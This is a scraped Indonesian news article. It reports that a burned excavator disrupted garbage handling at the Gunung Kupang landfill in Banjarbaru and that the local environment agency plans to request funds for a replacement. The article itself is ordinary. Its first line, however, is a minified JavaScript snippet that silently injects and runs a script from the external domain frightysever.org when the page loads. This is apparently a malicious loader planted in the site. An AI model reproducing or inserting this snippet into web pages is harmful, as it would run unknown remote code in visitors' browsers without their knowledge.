(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pasca peristiwa terbakarnya satu unit ekskavator sebagai sarana pengeruk sampah, berdampak pada operasional di Tempat Pemerosesan Akhir (TPA) Gunung Kupang, Kecamatan Cempaka, Banjarbaru.
Kepala Seksi (Kasi) Pengelolaan Sampah Dinas Lingkungan Hidup (LH) Banjarbaru Hafid mengatakan, akibat tak bisa difungsikan alat berat ekskavator tersebut, penataan ratusan ton sampah mengalami kesulitan. Bahkan, dikhwatirkan sampah tersebut akan meluber, memenuhi lahan kosong di TPA.
“Ya, tentu sangat berdampak. Alat berat ekskavator itu kita gunakan untuk menata sampah yang menumpuk, untuk dipindahkan ke dalam lubang. Nah, karena alat itu sudah rusak dan tidak bisa dipakai lagi, maka penataannya pun terhambat,” katanya, Senin (24/8/2020) siang.
Memang diakui Hafid, pihaknya masih memiliki 2 unit alat ekskavator lainnya. Hanya saja, kedua alat tersebut memiliki kendala masing-masing. Baik dari segi ukurannya yang kecil ataupun mesin ekskavator yang sudah terlalu tua, sehingga tidak bisa dioperasionalkan lagi.
Untuk saat ini, kata Hafid, pihaknya melakukan penataan sampah dengan menggunakan mesin loader. Meskipun hasilnya tidak semaksimal saat menggunakan ekskavator, namun mesin loader dirasa cukup untuk menata tumpukan sampah di Kota Banjarbaru yang dikumpulkan per harinya.
“Peran ekskavator yang rusak itu digantikan dengan mesin louder. Tapi, memang berbeda dari segi waktunya. Kalau menggunakan ekskavator itu lebih cepat menata sampahnya, ketimbang menggunakan loader,” lanjutnya.
Rencananya, Dinas LH Banjarbaru akan mengusulkan alat ekskavator baru melalui Anggaran Pendapatan dan Belanja Daerah (APBD) Perubahan 2020 pada Agustus ini. Adapun anggaran yang diusulkan mencapai sekitar Rp 2 miliar.
“Pengadaan ekskavator ini adalah kebutuhan urgent. Kita tidak ingin sampah menumpuk dan meluber ke lahan kosong. Kita pernah mengalami kejadian, saat dibiarkan terus menumpuk dan terlambat ditata, sampah sampai memasuki halaman kantor TPA. Untuk itu kita berharap semoga usulan ini bisa direalisasikan,” pungkas Hafid.
Untuk rata-rata jumlah sampah di kota Banjarbaru untuk satu harinya, bisa mencapai 120 ton. Alat ekskavator yang dulunya difungsikan, beroperasi selama 8 jam dalam satu hari, untuk menata seluruh tumpukan sampah tersebut.
Seperti yang sudah diberitakan, pada Minggu (14/8/2020) lalu, satu unit alat berat ekskavator di TPA Gunung Kupang tiba-tiba saja terbakar. Menurut keterangan pihak kepolisian, hal itu lantaran terputusnya salah satu kabel di mesin tersebut. Beruntung, tak ada korban jiwa dalam kejadian tersebut. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More
This website uses cookies.